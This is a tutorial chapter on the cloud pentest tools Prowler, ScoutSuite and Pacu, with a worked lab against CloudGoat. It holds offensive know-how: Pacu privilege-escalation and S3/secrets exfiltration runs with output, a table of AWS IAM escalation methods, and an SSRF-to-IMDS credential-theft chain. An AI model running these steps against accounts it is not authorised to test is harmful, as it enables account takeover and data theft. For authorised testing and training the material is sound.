Cloud Pentest Tooling: Pacu, ScoutSuite & Prowler
This is Chapter 3 of the Cloud Security notebook. Chapter 2 took you hands-on with the raw AWS CLI — enumerating IAM, looting S3, stealing IMDS credentials, and walking privilege-escalation paths one aws command at a time. Doing it by hand is how you understand the attack surface, but no real engagement is run that way: an account can have hundreds of roles, thousands of resources, and dozens of privilege-escalation primitives, and you have a fixed number of days. This chapter is about the tools that turn that manual knowledge into repeatable, auditable, at-scale work — Pacu for offense, ScoutSuite and Prowler for posture and breadth.
The three tools answer three different questions. Prowler asks “where does this account violate a known-good benchmark?” — it is a compliance and misconfiguration scanner. ScoutSuite asks “what does the whole account look like, and where are the risky spots?” — it is a multi-cloud auditor that renders an offline dashboard. Pacu asks “given this credential, how far can I actually get?” — it is an exploitation framework that enumerates, escalates, moves laterally, and persists. A mature assessment uses all three: the scanners give you breadth and a prioritised list of weaknesses in an hour; Pacu gives you the depth and the proof-of-exploit that turns a “finding” into a demonstrated impact.
Everything in this chapter is for accounts you own or are explicitly authorised to assess, inside the provider’s penetration-testing policy (Chapter 1, Part 12) and the customer’s written rules of engagement. Every technique below is safest to practise in a throwaway account or a purpose-built vulnerable lab — CloudGoat, flAWS/flaws2, AWSGoat, CloudFoxable — all of which are used as targets throughout. Running any of these tools against infrastructure you do not own is unauthorised access and, in most jurisdictions, a crime.
Part 1: Where These Tools Sit — Breadth vs Depth
Section titled “Part 1: Where These Tools Sit — Breadth vs Depth”Before installing anything, get the mental model straight, because it decides when you reach for each tool during an engagement.
Cloud assessment work splits into two motions. Posture assessment is breadth-first: you point a tool at an account with read-only or security-audit permissions and it inventories everything and flags what is misconfigured against a standard. This is what Prowler and ScoutSuite do. It is fast, low-risk, mostly read-only, and it is what a “cloud security review” or a CIS-benchmark audit is built on. Exploitation is depth-first: you start from a credential — often a low-privilege one — and you chain misconfigurations into real impact (privesc to admin, cross-account movement, data exfiltration, persistence). This is what Pacu does, and it is closer to a classic penetration test.
flowchart LR
A[Authorised access:<br/>read-only or a<br/>low-priv key] --> B{Two motions}
B -->|Breadth / posture| C[Prowler<br/>CIS + compliance checks]
B -->|Breadth / posture| D[ScoutSuite<br/>multi-cloud dashboard]
B -->|Depth / exploit| E[Pacu<br/>enum -> privesc -><br/>lateral -> persist -> exfil]
C --> F[Prioritised findings]
D --> F
F --> E
E --> G[Proof-of-exploit<br/>+ impact narrative]
G --> H[Report: finding +<br/>evidence + remediation]
The order matters. On a typical assessment you run the scanners first — Prowler and ScoutSuite — because in under an hour they hand you a ranked map of the weak points: public buckets, over-permissive roles, disabled logging, unencrypted volumes, exposed security groups. Then you take the most promising of those findings into Pacu (or the raw CLI) to prove exploitability. A finding that says “role X has iam:PassRole and ec2:RunInstances” is a maybe; a Pacu run that actually assumes an admin role through that path and reads a secret is a demonstrated breach. Clients and reports live and die on that difference.
Comparison at a glance:
| Tool | Primary question | Clouds | Access needed | Read/Write | Output |
|---|---|---|---|---|---|
| Prowler | Compliance & misconfig vs benchmarks | AWS, Azure, GCP, Kubernetes | SecurityAudit / read-only | Read-only | CSV/JSON/HTML, compliance-framework reports |
| ScoutSuite | Whole-account posture & risky spots | AWS, Azure, GCP, Aliyun, OCI | SecurityAudit / read-only | Read-only | Offline HTML dashboard + raw JSON |
| Pacu | How far can this credential get | AWS (primary) | Whatever the credential has | Read and write | Session DB, per-module loot, logs |
Keep one distinction burned in: Prowler and ScoutSuite are read-only — they call Describe*, List*, Get* APIs and never change the account. Pacu writes — its exploitation modules create roles, launch instances, modify policies, and create access keys. That single fact changes the authorisation you need, the noise you make, and the blast radius if something goes wrong. Never run Pacu’s write modules against production without explicit, scoped, written approval and a rollback plan.
Part 2: The Lab Environment — Get a Safe Target First
Section titled “Part 2: The Lab Environment — Get a Safe Target First”You do not learn these tools by reading; you learn them by running them against something that is supposed to be broken. Set up at least one vulnerable-by-design target before touching a real account.
CloudGoat (Rhino Security Labs) is the standard AWS practice range. It is a Terraform-driven tool that deploys deliberately vulnerable “scenarios” into an AWS account you own, gives you a starting credential, and expects you to reach a goal (usually admin or a secret). Install it into a dedicated, empty AWS account — never your main one, because it creates intentionally insecure resources.
# Prereqs: an AWS account you own, awscli configured with admin on it,# terraform >= 1.0, python3, git. Use a THROWAWAY account.git clone https://github.com/RhinoSecurityLabs/cloudgoat.gitcd cloudgoatpip3 install -r requirements.txt # installs the cloudgoat deps./cloudgoat.py config profile # point it at your AWS CLI profile./cloudgoat.py config whitelist --auto # whitelists your public IP for SGs
# Deploy a scenario (this one is a classic IAM privesc chain):./cloudgoat.py create iam_privesc_by_rollbackTypical output ends with a starting credential you will feed to the tools:
[cloudgoat] terraform apply completed with no error code.[cloudgoat] terraform output:cloudgoat_output_policy_manager_access_key_id = AKIAQ...EXAMPLEcloudgoat_output_policy_manager_secret_key = wJalr...EXAMPLEKEY[cloudgoat] Scenario files stored in ./iam_privesc_by_rollback_XXXX/When you are finished, always destroy it so you are not billed and not leaving insecure infra lying around:
./cloudgoat.py destroy iam_privesc_by_rollback# or nuke everything CloudGoat created:./cloudgoat.py destroy allOther good targets: flaws.cloud and flaws2.cloud (Scott Piper’s hosted challenges — no deploy needed, browser + CLI), AWSGoat (OWASP-style web-app-plus-cloud), and CloudFoxable (built to practise the CloudFox recon tool but useful generally). For a first pass through this chapter, cloudgoat create iam_privesc_by_rollback plus cloudgoat create ec2_ssrf gives you enough surface to exercise all three tools.
Ethics / lawful-use, restated because it matters: these are your accounts. The credential CloudGoat prints is scoped to resources CloudGoat created in an account you control. The moment you point any of this tooling at an account you were not authorised to test, you are committing unauthorised access. Keep your CloudGoat account isolated (separate billing, no cross-account trust into anything real) so a mistake there cannot touch anything you care about.
Part 3: Prowler From Scratch — The Compliance Scanner
Section titled “Part 3: Prowler From Scratch — The Compliance Scanner”We start with Prowler because it is the fastest way to get value and it is read-only, so it is the safest thing to run first.
What Prowler is and why it exists
Section titled “What Prowler is and why it exists”Prowler is an open-source, command-line security tool that audits a cloud account against hundreds of individual checks and maps the results to well-known compliance frameworks — CIS Benchmarks, PCI-DSS, HIPAA, NIST 800-53, GDPR, FedRAMP, SOC 2, AWS’s own Foundational Security Best Practices, and more. It began life as a Bash script focused on the CIS AWS Foundations Benchmark and is now a Python project (Prowler 3/4/5) covering AWS, Azure, GCP, and Kubernetes with 500+ AWS checks alone. Its job is to answer, in one run, “which of these known-good rules does this account break, and how bad is each one?”
Think of Prowler as the tool that produces the evidence table in a cloud audit report. Each check has a stable ID, a severity, a service, a remediation, and a pass/fail per resource — exactly what an auditor or a remediation ticket needs.
Install
Section titled “Install”Prowler is a Python package. Use a virtualenv so it does not collide with system packages.
# Recommended: isolated env (v4/v5 are the current major lines)python3 -m venv ~/prowler-venvsource ~/prowler-venv/bin/activatepip install prowler # installs the `prowler` CLI
prowler --version# Prowler 4.x.x (or 5.x.x)
# Alternatives:# pipx install prowler # keeps it isolated globally# docker run toniblyx/prowler:latest # containerised, no local pythonProwler uses the same credential chain as the AWS CLI — environment variables, ~/.aws/credentials profiles, or an assumed role. Give it read access; the AWS-managed SecurityAudit policy plus a small amount of extra read (ViewOnlyAccess) covers almost every check.
export AWS_ACCESS_KEY_ID=AKIA...export AWS_SECRET_ACCESS_KEY=wJalr...export AWS_SESSION_TOKEN=... # if using temporary/STS creds# or:prowler aws --profile my-audit-profileThe core workflow
Section titled “The core workflow”The simplest possible run scans the whole account with every AWS check:
prowler awsProwler streams coloured PASS/FAIL lines as it goes and writes report files at the end. Trimmed sample output:
Using the AWS credentials below: · AWS-CLI Profile: default · AWS Account: 111122223333 · User: arn:aws:iam::111122223333:user/audit
-> Scanning 300+ checks across 60+ services ...
FAIL iam_root_hardware_mfa_enabled [CRITICAL] Root account has no hardware MFAFAIL s3_bucket_public_access [HIGH] Bucket 'company-backups' is publicPASS ec2_ebs_default_encryption [MEDIUM] EBS default encryption is enabledFAIL cloudtrail_multi_region_enabled [HIGH] No multi-region trail configuredFAIL guardduty_is_enabled [HIGH] GuardDuty not enabled in us-east-1...
Overview Results: Critical: 3 High: 21 Medium: 44 Low: 12 Pass: 190
Detailed results are in: - output/prowler-output-111122223333-20270409.csv - output/prowler-output-111122223333-20270409.json - output/prowler-output-111122223333-20270409.htmlThe HTML report is the one you open in a browser and hand to a client — it groups findings by severity and service and is fully offline. The CSV/JSON are what you pipe into a tracker or diff between runs.
Filtering — the flags you will actually use
Section titled “Filtering — the flags you will actually use”A full scan is noisy. In practice you narrow it. These are the flags that carry the weight:
| Flag | Purpose | Example |
|---|---|---|
--services | Only scan specific services | prowler aws --services s3 iam ec2 |
--checks | Run named checks only | prowler aws --checks s3_bucket_public_access |
--check-id / --excluded-checks | Include/exclude by ID | --excluded-checks ec2_elastic_ip_unassigned |
--severity | Filter by severity | prowler aws --severity critical high |
--compliance | Report against one framework | prowler aws --compliance cis_2.0_aws |
--region | Limit regions (faster, cheaper) | prowler aws --region us-east-1 eu-west-1 |
--output-formats | Choose report types | --output-formats csv json html |
--output-directory | Where reports land | -o ./client-acme/ |
-q / --quiet | Only show failing checks | prowler aws -q |
--list-checks | Enumerate available checks | prowler aws --list-checks |
--list-compliance | Enumerate frameworks | prowler aws --list-compliance |
A realistic engagement command looks like this — critical/high only, against the CIS 2.0 benchmark, EU + us-east-1, reports into a client folder:
prowler aws \ --profile acme-audit \ --compliance cis_2.0_aws \ --severity critical high \ --region us-east-1 eu-west-1 eu-central-1 \ --output-formats csv json html \ --output-directory ./acme-2027-04/ \ -qCompliance framework reporting
Section titled “Compliance framework reporting”The --compliance flag is Prowler’s headline feature. Instead of a flat list of failures it produces a report structured by the framework’s control numbering, so you can say “control 1.14 (hardware MFA on root) — FAIL” in the exact language an auditor expects.
# What frameworks are available?prowler aws --list-compliance# cis_1.4_aws, cis_2.0_aws, cis_3.0_aws, pci_3.2.1_aws, hipaa_aws,# nist_800_53_revision_4_aws, gdpr_aws, soc2_aws, aws_foundational_security_best_practices, ...
# Produce a CIS 3.0 report:prowler aws --compliance cis_3.0_aws -o ./acme-cis/Prowler writes a dedicated compliance CSV alongside the normal report, one row per control with the mapped check results — this is what goes straight into a gap-analysis spreadsheet.
Assessor tip: run Prowler with --compliance cis_2.0_aws on day one for the ranked-by-control view, and also a plain -q run for the raw failing checks the client’s engineers will actually fix. The two views serve two audiences: control owners and remediation engineers.
Prowler for Azure and GCP
Section titled “Prowler for Azure and GCP”Prowler is multi-cloud. The provider is the first positional argument:
# Azure — authenticate with the Azure CLI first (az login), then:prowler azure --az-cli-auth
# or a service principal:prowler azure --sp-env-auth # reads AZURE_CLIENT_ID / SECRET / TENANT_ID
# GCP — uses application-default credentials:gcloud auth application-default loginprowler gcp
# Kubernetes:prowler kubernetes --kubeconfig-file ~/.kube/configThe check catalogue differs per cloud (Azure checks cover Entra ID, Storage, Defender for Cloud; GCP covers IAM, GCS, Compute, Logging), but the flag grammar — --services, --severity, --compliance, --output-formats — is identical, which is exactly why Prowler is worth learning once.
Part 4: Reading Prowler Output Like an Assessor
Section titled “Part 4: Reading Prowler Output Like an Assessor”A raw Prowler run against a real account can produce hundreds of findings. The skill is triage, not generation.
Severity first, but context always. A CRITICAL “root has no MFA” is a real finding. A HIGH “S3 bucket public” needs a second look — is it meant to be public (a static website, a public dataset)? Prowler cannot know intent, so a chunk of triage is separating true misconfigurations from intentional design. Note the false positives explicitly in the report; an audit that flags a deliberately public CDN bucket as a breach loses credibility.
Group by root cause, not by finding. Twenty “security group allows 0.0.0.0/0 on port 22” findings across twenty instances are one problem — a missing guardrail — not twenty. Collapse them in the report and give one remediation (an SCP or Config rule that blocks open SSH), or the client drowns.
Chain findings into a story. Prowler is read-only and reports each finding in isolation, but as an attacker you read them together: “CloudTrail is off (HIGH) and GuardDuty is off (HIGH) and a role has iam:* (CRITICAL)” is not three findings — it is a blind, unmonitored path to account takeover. This is the bridge into Pacu: the scanner tells you the door is unlocked; Pacu walks through it.
flowchart TD
P[Prowler run] --> Q[Hundreds of raw findings]
Q --> R{Triage}
R -->|Intentional| S[Mark as accepted risk /<br/>false positive]
R -->|Real misconfig| T[Group by root cause]
T --> U[Rank by exploitability,<br/>not just severity]
U --> V[Feed exploitable ones<br/>into Pacu for proof]
V --> W[Report: finding + evidence +<br/>root-cause remediation]
A useful command to turn JSON into a quick triage table is jq:
# Top failing checks by count, from the JSON output:jq -r '.[] | select(.status=="FAIL") | .check_id' \ output/prowler-output-*.json | sort | uniq -c | sort -rn | head -20 34 ec2_securitygroup_allow_ingress_from_internet_to_any_port 21 s3_bucket_level_public_access_block 18 iam_user_no_setup_initial_access_key 12 rds_instance_no_public_access 9 cloudwatch_log_metric_filter_root_usage ...That histogram is your remediation roadmap in one glance — the biggest number is usually the missing guardrail worth fixing first.
Part 5: ScoutSuite From Scratch — The Multi-Cloud Auditor
Section titled “Part 5: ScoutSuite From Scratch — The Multi-Cloud Auditor”Where Prowler produces a list of checks, ScoutSuite produces a map of the account. It is the second scanner in the kit and it complements Prowler rather than duplicating it.
What ScoutSuite is
Section titled “What ScoutSuite is”ScoutSuite (NCC Group) is an open-source, multi-cloud security-auditing tool. It uses the provider’s read-only APIs to pull the entire configuration of an account, runs a rule set over that configuration, and renders a static, offline HTML dashboard you browse locally. It covers AWS, Azure, GCP, Alibaba Cloud, and Oracle Cloud. Its strength is the visual, navigable inventory: you click through services, see every resource, and the risky ones are colour-coded (red/orange/yellow). It answers “what is in this account and where are the sharp edges” in a way a flat CSV cannot.
The key difference from Prowler: Prowler is check-centric and compliance-mapped (great for audits and tickets); ScoutSuite is resource-centric and exploratory (great for understanding an unfamiliar account and spotting the odd thing). Most assessors run both.
Install
Section titled “Install”python3 -m venv ~/scout-venvsource ~/scout-venv/bin/activatepip install scoutsuite
scout --help# usage: scout [-h] {aws,azure,gcp,aliyun,oci} ...Like Prowler, it uses the standard AWS credential chain and needs read-only access (SecurityAudit + ReadOnlyAccess is the safe combination).
The core workflow
Section titled “The core workflow”# Scan an AWS account using a named profile:scout aws --profile acme-audit
# Restrict to regions to go faster / cheaper:scout aws --profile acme-audit --regions us-east-1,eu-west-1
# Ruleset & report land in ./scoutsuite-report/Sample run:
2027-04-09 ... scout[INFO] Launching Scout2027-04-09 ... scout[INFO] Authenticating to AWS2027-04-09 ... scout[INFO] Gathering data from APIs2027-04-09 ... scout[INFO] - IAM: fetching users, roles, policies... 142 items2027-04-09 ... scout[INFO] - S3: fetching buckets... 37 buckets2027-04-09 ... scout[INFO] - EC2: fetching instances, SGs, volumes... 88 items2027-04-09 ... scout[INFO] Running rule engine (Ruleset: default)2027-04-09 ... scout[INFO] Rules matched: 612027-04-09 ... scout[INFO] Report saved to scoutsuite-report/scoutsuite-results/2027-04-09 ... scout[INFO] Opening report: scoutsuite-report/aws-acme.htmlIt opens the dashboard in your browser automatically. The landing page is a service grid with a red/orange/green summary per service; clicking a service (say IAM) drills into every resource and highlights the flagged ones with the rule that matched and why. Because the report is fully static HTML+JS, you can zip scoutsuite-report/ and hand it to a client to browse offline — no ScoutSuite install needed on their side.
Useful flags
Section titled “Useful flags”| Flag | Purpose |
|---|---|
--profile NAME | AWS CLI profile to use |
--regions r1,r2 | Limit regions scanned |
--services s3 iam | Only these services |
--exceptions FILE | Suppress known/accepted findings |
--ruleset FILE | Use a custom rule set |
--report-dir DIR | Output location |
--no-browser | Don’t auto-open (for CI) |
--max-workers N | Parallelism for API calls |
The rule-set engine
Section titled “The rule-set engine”ScoutSuite’s findings come from a rule set — a JSON file mapping a finding name to a condition over the gathered configuration. The default ruleset ships with the tool; you can copy and edit it to tune out noise or add organisation-specific rules.
# Dump the default ruleset to customise it:scout aws --ruleset default --profile acme-audit# then copy ~/.../ScoutSuite/providers/aws/rules/rulesets/default.json,# edit thresholds (e.g. flag SGs open to 0.0.0.0/0 on ANY port, not just 22),# and re-run with --ruleset ./my-ruleset.jsonA rule entry looks roughly like this (illustrative):
"iam-user-with-inline-policies.json": { "enabled": true, "level": "warning"}The level (danger/warning) controls the colour and severity in the dashboard. Tuning the ruleset is how you make ScoutSuite speak your client’s risk appetite instead of the defaults.
Cross-tool note: ScoutSuite and Prowler will overlap on obvious findings (public buckets, open SGs). That is fine — agreement between two independent tools strengthens a finding in a report. Where they diverge is instructive: ScoutSuite’s inventory view often surfaces the weird resource (a lone instance in an unused region, a role with a strange trust policy) that a check-list scanner buries.
Part 6: Pacu From Scratch — The AWS Exploitation Framework
Section titled “Part 6: Pacu From Scratch — The AWS Exploitation Framework”Now the offense tool. Pacu is the one that writes to the account, so everything about it — authorisation, opsec, blast radius — is more serious than the scanners.
What Pacu is
Section titled “What Pacu is”Pacu (Rhino Security Labs) is an open-source AWS exploitation framework — think Metasploit, but for AWS. It is organised around sessions (a saved workspace with its own credentials and captured data) and modules (individual attack/enumeration actions). You import a credential, enumerate what it can do, run privilege-escalation and lateral-movement modules, and Pacu stores every piece of loot (users, roles, secrets, instances) in a local SQLite database tied to the session so later modules can reuse it. It automates the exact CLI loops from Chapter 2, at scale, with the results kept organised.
Install
Section titled “Install”python3 -m venv ~/pacu-venvsource ~/pacu-venv/bin/activatepip install pacu
pacu # first launch creates ~/.local/share/pacu/ and a session DB ____| _ \ __ _ ___ _ _| |_) / _` |/ __| | | || __/ (_| | (__| |_| ||_| \__,_|\___|\__,_|
Pacu (x.y.z) — the AWS exploitation framework
No sessions found. Enter a session name to create one:> acme-engagementSession 'acme-engagement' created.Pacu (acme-engagement:No Keys Set) >The prompt tells you the session name and the credential state — here No Keys Set.
Sessions and importing credentials
Section titled “Sessions and importing credentials”A session isolates one engagement: its own creds, its own captured data, its own logs. Import a credential two ways — paste it in with set_keys, or pull it from your AWS CLI config with import_keys:
Pacu (acme-engagement:No Keys Set) > set_keysKey alias [None]: policy_managerAccess key ID: AKIAQ...EXAMPLESecret access key: wJalr...EXAMPLEKEYSession token (Optional):Keys saved to database.
# or import an existing awscli profile:Pacu (acme-engagement:No Keys Set) > import_keys cloudgoat-profileImported keys as "imported-cloudgoat-profile"Pacu (acme-engagement:policy_manager) >The whoami / enumerate loop
Section titled “The whoami / enumerate loop”The first thing you do with any credential is find out who you are and what you can do. Pacu’s whoami prints the current identity and everything captured so far; iam__enum_permissions brute-forces the credential’s actual permissions.
Pacu (acme-engagement:policy_manager) > whoami{ "UserName": "policy_manager", "Arn": "arn:aws:iam::111122223333:user/policy_manager", "AccountId": "111122223333", "Permissions": { "Allow": {}, "Deny": {} }}
Pacu (acme-engagement:policy_manager) > run iam__enum_permissions[iam__enum_permissions] Starting...[iam__enum_permissions] Confirmed permissions for user: policy_manager[iam__enum_permissions] iam:ListPolicies, iam:GetPolicy, iam:GetPolicyVersion, iam:SetDefaultPolicyVersion, iam:ListPolicyVersions ...[iam__enum_permissions] Enumeration complete. Data stored in session.Now whoami shows the discovered permissions, and — crucially — later modules can read them from the session instead of re-querying AWS.
The offensive module catalogue
Section titled “The offensive module catalogue”Pacu ships with dozens of modules grouped by category. ls lists them; search finds one; help <module> explains it.
Pacu (acme-engagement:policy_manager) > ls[Category: RECON_UNAUTH] iam__enum_roles, iam__enum_users ...[Category: ENUM] iam__enum_permissions, iam__enum_users_roles_policies_groups, ec2__enum, s3__bucket_finder, rds__enum, lambda__enum ...[Category: PRIVESC] iam__privesc_scan ...[Category: LATERAL_MOVE] iam__backdoor_users_keys, sts__assume_role ...[Category: PERSISTENCE] iam__backdoor_users_keys, lambda__backdoor_new_users ...[Category: EXFIL] s3__download_bucket ...[Category: EXPLOIT] ec2__startup_shell_script, systemsmanager__rce_ec2 ...[Category: EVADE] detection__disruption, cloudtrail__download_event_history ...The modules you will reach for most:
| Module | Category | What it does |
|---|---|---|
iam__enum_permissions | ENUM | Brute-forces the current credential’s permissions |
iam__enum_users_roles_policies_groups | ENUM | Full IAM inventory of the account |
iam__privesc_scan | PRIVESC | Finds and can auto-exploit privilege-escalation paths |
ec2__enum | ENUM | Enumerates EC2 instances, SGs, volumes, AMIs |
ec2__download_userdata | ENUM/EXFIL | Pulls EC2 user-data (often holds secrets) |
s3__bucket_finder / s3__download_bucket | ENUM/EXFIL | Finds and exfiltrates bucket contents |
sts__assume_role | LATERAL | Assumes a role you have rights to |
iam__backdoor_users_keys | PERSIST | Creates a second access key on a user (backdoor) |
secrets__enum | ENUM/EXFIL | Loots Secrets Manager and SSM Parameter Store |
detection__enum_services | RECON | Finds CloudTrail/GuardDuty/Config state (are you watched?) |
cloudtrail__download_event_history | RECON/EVADE | Reads CloudTrail to understand logging |
iam__privesc_scan — the star module
Section titled “iam__privesc_scan — the star module”iam__privesc_scan is Pacu’s flagship. It takes the permissions captured by iam__enum_permissions, checks them against ~20 known AWS privilege-escalation methods (the Rhino Security Labs research catalogue — CreateNewPolicyVersion, AttachUserPolicy, PassRole+RunInstances, PassExistingRoleToNewLambda, PutUserPolicy, UpdateRollback, etc.), and tells you which paths are available. With --exploit it will actually perform the escalation.
Pacu (acme-engagement:policy_manager) > run iam__privesc_scan[iam__privesc_scan] Escalation methods available to this user:[iam__privesc_scan] CONFIRMED: SetExistingDefaultPolicyVersion[iam__privesc_scan] POTENTIAL: CreateNewPolicyVersion[iam__privesc_scan] The user can roll back a managed policy to a previous, more-permissive version (iam:SetDefaultPolicyVersion).[iam__privesc_scan] Run again with --exploit to attempt escalation.
Pacu (acme-engagement:policy_manager) > run iam__privesc_scan --exploit[iam__privesc_scan] Attempting SetExistingDefaultPolicyVersion...[iam__privesc_scan] Policy: arn:aws:iam::111122223333:policy/policy_manager_policy[iam__privesc_scan] Found 3 versions; v1 grants iam:* and s3:*[iam__privesc_scan] Setting default version -> v1[iam__privesc_scan] SUCCESS — user now has expanded permissions.[iam__privesc_scan] Re-run iam__enum_permissions to confirm new access.That is the iam_privesc_by_rollback CloudGoat scenario solved by one module: an old policy version granted iam:*, and iam:SetDefaultPolicyVersion let the low-priv user roll the policy back to it. Re-running iam__enum_permissions now shows admin.
The privilege-escalation methods iam__privesc_scan knows
Section titled “The privilege-escalation methods iam__privesc_scan knows”It helps to know what the module checks for, because in a real account you often can’t run --exploit blindly and need to reason about each path. These are the core AWS IAM privesc primitives (from the Rhino Security Labs catalogue) the module tests, each keyed on the permission(s) it needs:
| Method | Key permission(s) | How the escalation works |
|---|---|---|
CreateNewPolicyVersion | iam:CreatePolicyVersion | Create a new default version of an attached policy granting *:* |
SetExistingDefaultPolicyVersion | iam:SetDefaultPolicyVersion | Roll a policy back to an older, more-permissive version |
AttachUserPolicy | iam:AttachUserPolicy | Attach AdministratorAccess directly to yourself |
AttachGroupPolicy | iam:AttachGroupPolicy | Attach admin to a group you belong to |
PutUserPolicy | iam:PutUserPolicy | Inline an admin policy onto your own user |
AddUserToGroup | iam:AddUserToGroup | Join a group that already has admin |
CreateAccessKey | iam:CreateAccessKey | Mint keys for a more-privileged user |
CreateLoginProfile | iam:CreateLoginProfile | Set a console password on a privileged user |
UpdateLoginProfile | iam:UpdateLoginProfile | Reset a privileged user’s console password |
PassRole+RunInstances | iam:PassRole,ec2:RunInstances | Launch an EC2 with an admin instance-profile, then reach IMDS |
PassExistingRoleToNewLambda | iam:PassRole,lambda:CreateFunction,lambda:InvokeFunction | Run code as an admin role via Lambda |
PassRoleToNewGlue/CloudFormation/DataPipeline | iam:PassRole + service create | Same idea via Glue, CloudFormation, or Data Pipeline |
EditExistingLambdaFunctionWithRole | lambda:UpdateFunctionCode | Overwrite a function that already runs as an admin role |
The module maps your confirmed permissions onto this table and prints CONFIRMED (all required perms present) or POTENTIAL (some present, worth manual checking). Understanding the table means you can pursue a path manually when --exploit is disallowed by RoE, or when a subtle condition key blocks the automated attempt.
Non-interactive / automation mode
Section titled “Non-interactive / automation mode”Pacu can run modules headlessly for scripting and CI-style repeatability, which matters when you want a reproducible evidence trail rather than an interactive session:
# Run a single module against a named session without the interactive prompt:pacu --session cg-rollback --module-name iam__enum_permissions --exec
# Chain several modules from a one-liner:pacu --session cg-rollback \ --module-name iam__enum_permissions --exec \ && pacu --session cg-rollback --module-name iam__privesc_scan --execEverything a module captures is queryable later with the data command inside the session (data IAM, data EC2, data S3), and the whole session — including the loot — lives in a SQLite DB under ~/.local/share/pacu/, so you can hand a colleague the DB file and they resume exactly where you stopped.
Part 7: Worked Lab — Chaining All Three Against CloudGoat
Section titled “Part 7: Worked Lab — Chaining All Three Against CloudGoat”Now the payoff: a single end-to-end walk-through that uses Prowler and ScoutSuite for breadth, then Pacu for the kill. Target is the iam_privesc_by_rollback scenario deployed in Part 2; the starting credential is the low-priv policy_manager key CloudGoat printed.
Step 0 — configure the starting credential
Section titled “Step 0 — configure the starting credential”aws configure --profile cg-lowpriv# AWS Access Key ID: AKIAQ...EXAMPLE# AWS Secret Access Key: wJalr...EXAMPLEKEY# region: us-east-1 ; output: json
# Sanity check — who are we?aws --profile cg-lowpriv sts get-caller-identity{ "UserId": "AIDAQ...EXAMPLE", "Account": "111122223333", "Arn": "arn:aws:iam::111122223333:user/policy_manager"}Step 1 — Prowler for the lay of the land (read-only)
Section titled “Step 1 — Prowler for the lay of the land (read-only)”prowler aws --profile cg-lowpriv --services iam s3 --severity critical high -qFAIL iam_policy_allows_privilege_escalation [HIGH] policy_manager_policy has an older version granting iam:* / s3:* that can be restoredFAIL iam_customer_managed_policy_no_full_admin [HIGH] Managed policy allows iam:*PASS s3_bucket_public_access No public bucketsProwler, even from a low-priv credential, already whispers the answer: an over-permissive policy version exists and is restorable. That is the finding we will prove.
Step 2 — ScoutSuite for the inventory picture
Section titled “Step 2 — ScoutSuite for the inventory picture”scout aws --profile cg-lowpriv --services iam --no-browser --report-dir ./cg-scout/ScoutSuite’s IAM view shows policy_manager with a customer-managed policy carrying multiple versions — the visual cue that a rollback path exists. It corroborates Prowler. (In a real engagement this cross-confirmation is gold; here it teaches you to read the same weakness two ways.)
sequenceDiagram
participant A as Assessor
participant PR as Prowler (RO)
participant SC as ScoutSuite (RO)
participant PA as Pacu (RW)
participant AWS as AWS APIs
A->>PR: prowler aws --services iam
PR->>AWS: List/Get IAM (read-only)
AWS-->>PR: policy has old privileged version
A->>SC: scout aws --services iam
SC->>AWS: List/Get IAM (read-only)
AWS-->>SC: multi-version policy inventory
A->>PA: run iam__privesc_scan --exploit
PA->>AWS: SetDefaultPolicyVersion (WRITE)
AWS-->>PA: default version rolled back -> admin
PA-->>A: proof-of-exploit: now iam:* / s3:*
Step 3 — Pacu for the exploit (read AND write)
Section titled “Step 3 — Pacu for the exploit (read AND write)”$ pacu> new session: cg-rollbackPacu (cg-rollback:No Keys Set) > import_keys cg-lowprivImported keys as "imported-cg-lowpriv"
Pacu (cg-rollback:policy_manager) > run iam__enum_permissions[+] Confirmed: iam:GetPolicy, iam:GetPolicyVersion, iam:ListPolicyVersions, iam:SetDefaultPolicyVersion, ...
Pacu (cg-rollback:policy_manager) > run iam__privesc_scan[+] CONFIRMED: SetExistingDefaultPolicyVersion
Pacu (cg-rollback:policy_manager) > run iam__privesc_scan --exploit[+] Rolling policy_manager_policy back to v1 (grants iam:*, s3:*)[+] SUCCESS — escalated.
Pacu (cg-rollback:policy_manager) > run iam__enum_permissions[+] Confirmed permissions now include: iam:*, s3:*, sts:*Step 4 — demonstrate impact and loot
Section titled “Step 4 — demonstrate impact and loot”With admin, prove it means something — enumerate and exfil a secret (still inside your own CloudGoat account):
Pacu (cg-rollback:policy_manager) > run iam__enum_users_roles_policies_groups[+] Enumerated 4 users, 6 roles, full account IAM captured.
Pacu (cg-rollback:policy_manager) > run s3__bucket_finder[+] Found buckets: cg-secret-bucket-xxxx
Pacu (cg-rollback:policy_manager) > run s3__download_bucket[+] Downloaded cg-secret-bucket-xxxx/flag.txt -> ./sessions/cg-rollback/downloads/cat ~/.local/share/pacu/sessions/cg-rollback/downloads/cg-secret-bucket-xxxx/flag.txt# cloudgoat{privilege-escalation-via-policy-rollback}Step 5 — tear down
Section titled “Step 5 — tear down”cd cloudgoat && ./cloudgoat.py destroy iam_privesc_by_rollbackThat is the whole engagement in miniature: scanners found the weak policy; Pacu proved it was exploitable to admin and to data. The report writes itself — finding (restorable privileged policy version), evidence (the Pacu transcript + the retrieved flag), remediation (delete old policy versions, deny iam:SetDefaultPolicyVersion, add a permission boundary).
Part 8: A Second Angle — SSRF, IMDS, and Tooling the Data Plane
Section titled “Part 8: A Second Angle — SSRF, IMDS, and Tooling the Data Plane”Not every engagement starts with a key. The ec2_ssrf CloudGoat scenario starts with an SSRF in a web app and asks you to reach data. This shows where the tools fit when the entry is on the data plane, not a leaked credential.
The chain (covered mechanically in Chapter 2) is: SSRF → hit http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> → steal temporary role creds → configure them → enumerate → reach the secret. Here is how tooling accelerates the back half once you hold the stolen STS creds:
# You extracted temporary creds via SSRF against IMDSv1:export AWS_ACCESS_KEY_ID=ASIA...export AWS_SECRET_ACCESS_KEY=...export AWS_SESSION_TOKEN=...
# Prowler with the stolen role — see what the role can reach:prowler aws --services s3 lambda secretsmanager -q
# ScoutSuite to inventory what this role can see:scout aws --services s3 lambda --no-browser
# Pacu to loot secrets the role can read:pacu> set_keys (paste the ASIA... temp creds + session token)> run secrets__enum> run s3__download_bucketflowchart LR
A[Web app<br/>SSRF] --> B[IMDS 169.254.169.254]
B --> C[Temporary role creds<br/>ASIA... + token]
C --> D[Prowler / ScoutSuite:<br/>what can this role reach?]
C --> E[Pacu: secrets__enum,<br/>s3__download_bucket]
D --> F[Target: Secrets Manager<br/>+ S3 data]
E --> F
F --> G[Exfil -> proof-of-impact]
